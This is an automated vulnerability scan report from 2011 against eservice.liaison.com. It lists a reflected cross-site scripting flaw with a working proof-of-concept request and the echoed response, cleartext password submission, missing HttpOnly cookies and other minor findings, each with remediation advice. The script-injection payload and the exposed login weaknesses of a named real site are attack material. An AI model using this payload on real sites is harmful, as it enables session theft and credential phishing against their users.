XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, eservice.eliaison.com

Report generated by XSS.CX at Thu Aug 11 13:19:50 GMT-06:00 2011.

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1. Cross-site scripting (reflected)

2. Cleartext submission of password

3. Password field with autocomplete enabled

4. Cross-domain script include

5. Cookie without HttpOnly flag set

6. Email addresses disclosed

7. Robots.txt file



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://eservice.liaison.com
Path:   /eservice/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63b07"><script>alert(1)</script>e221f31db36 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /eservice/?63b07"><script>alert(1)</script>e221f31db36=1 HTTP/1.1
Host: eservice.liaison.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://liaison.com/Support/tabid/95/Default.aspx
Cookie: __utma=18673700.56088252.1313089786.1313089786.1313089786.1; __utmb=18673700.6.10.1313089786; __utmc=18673700; __utmz=18673700.1313089786.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 19:12:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 5127
Content-Type: text/html
Set-Cookie: eservice=Account=; path=/
Set-Cookie: Account=; path=/
Cache-control: private

<html><head>

<link REL="SHORTCUT ICON" HREF="http://www.liaison.com/favicon.ico">

<!-- InstanceBeginEditable name="EditRegionMeta" -->
<meta http-equiv="Content-Type" content="text/html; charset=iso
...[SNIP]...
<input type="hidden" name="OriginalDest" value="/eservice/?63b07"><script>alert(1)</script>e221f31db36=1">
...[SNIP]...

2. Cleartext submission of password  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://eservice.liaison.com
Path:   /eservice/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /eservice/ HTTP/1.1
Host: eservice.liaison.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://liaison.com/Support/tabid/95/Default.aspx
Cookie: __utma=18673700.56088252.1313089786.1313089786.1313089786.1; __utmb=18673700.6.10.1313089786; __utmc=18673700; __utmz=18673700.1313089786.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 19:12:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 5081
Content-Type: text/html
Set-Cookie: eservice=Account=; path=/
Set-Cookie: Account=; path=/
Cache-control: private

<html><head>

<link REL="SHORTCUT ICON" HREF="http://www.liaison.com/favicon.ico">

<!-- InstanceBeginEditable name="EditRegionMeta" -->
<meta http-equiv="Content-Type" content="text/html; charset=iso
...[SNIP]...
<td width=300>
                                   <form ACTION="/ValidateLogin.asp" method="post" id="form1" name="form1">
                                   <input type="hidden" name="OriginalDest" value="/eservice/">
...[SNIP]...
<font face="Courier"><input style="font-family:verdana;" type="password" size="16" name="Password" value=""></font>
...[SNIP]...

3. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://eservice.liaison.com
Path:   /eservice/

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /eservice/ HTTP/1.1
Host: eservice.liaison.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://liaison.com/Support/tabid/95/Default.aspx
Cookie: __utma=18673700.56088252.1313089786.1313089786.1313089786.1; __utmb=18673700.6.10.1313089786; __utmc=18673700; __utmz=18673700.1313089786.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 19:12:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 5081
Content-Type: text/html
Set-Cookie: eservice=Account=; path=/
Set-Cookie: Account=; path=/
Cache-control: private

<html><head>

<link REL="SHORTCUT ICON" HREF="http://www.liaison.com/favicon.ico">

<!-- InstanceBeginEditable name="EditRegionMeta" -->
<meta http-equiv="Content-Type" content="text/html; charset=iso
...[SNIP]...
<td width=300>
                                   <form ACTION="/ValidateLogin.asp" method="post" id="form1" name="form1">
                                   <input type="hidden" name="OriginalDest" value="/eservice/">
...[SNIP]...
<font face="Courier"><input style="font-family:verdana;" type="password" size="16" name="Password" value=""></font>
...[SNIP]...

4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://eservice.liaison.com
Path:   /eservice/

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /eservice/ HTTP/1.1
Host: eservice.liaison.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://liaison.com/Support/tabid/95/Default.aspx
Cookie: __utma=18673700.56088252.1313089786.1313089786.1313089786.1; __utmb=18673700.6.10.1313089786; __utmc=18673700; __utmz=18673700.1313089786.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 19:12:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 5081
Content-Type: text/html
Set-Cookie: eservice=Account=; path=/
Set-Cookie: Account=; path=/
Cache-control: private

<html><head>

<link REL="SHORTCUT ICON" HREF="http://www.liaison.com/favicon.ico">

<!-- InstanceBeginEditable name="EditRegionMeta" -->
<meta http-equiv="Content-Type" content="text/html; charset=iso
...[SNIP]...
</table>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://eservice.liaison.com
Path:   /eservice/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /eservice/ HTTP/1.1
Host: eservice.liaison.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://liaison.com/Support/tabid/95/Default.aspx
Cookie: __utma=18673700.56088252.1313089786.1313089786.1313089786.1; __utmb=18673700.6.10.1313089786; __utmc=18673700; __utmz=18673700.1313089786.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 19:12:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 5081
Content-Type: text/html
Set-Cookie: eservice=Account=; path=/
Set-Cookie: Account=; path=/
Cache-control: private

<html><head>

<link REL="SHORTCUT ICON" HREF="http://www.liaison.com/favicon.ico">

<!-- InstanceBeginEditable name="EditRegionMeta" -->
<meta http-equiv="Content-Type" content="text/html; charset=iso
...[SNIP]...

6. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://eservice.liaison.com
Path:   /eservice/

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /eservice/ HTTP/1.1
Host: eservice.liaison.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://liaison.com/Support/tabid/95/Default.aspx
Cookie: __utma=18673700.56088252.1313089786.1313089786.1313089786.1; __utmb=18673700.6.10.1313089786; __utmc=18673700; __utmz=18673700.1313089786.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 19:12:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 5081
Content-Type: text/html
Set-Cookie: eservice=Account=; path=/
Set-Cookie: Account=; path=/
Cache-control: private

<html><head>

<link REL="SHORTCUT ICON" HREF="http://www.liaison.com/favicon.ico">

<!-- InstanceBeginEditable name="EditRegionMeta" -->
<meta http-equiv="Content-Type" content="text/html; charset=iso
...[SNIP]...
<a href="mailto:softshare.support@liaison.com?subject=Liaison%20VAN%20Support%20Request">
...[SNIP]...

7. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://eservice.liaison.com
Path:   /eservice/

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: eservice.liaison.com

Response

HTTP/1.1 200 OK
Content-Length: 26
Content-Type: text/plain
Last-Modified: Mon, 28 Feb 2011 18:50:55 GMT
Accept-Ranges: bytes
ETag: "7673ed6d78d7cb1:1068"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 11 Aug 2011 19:12:30 GMT
Connection: close

User-agent: *
Disallow: /

Report generated by XSS.CX at Thu Aug 11 13:19:50 GMT-06:00 2011.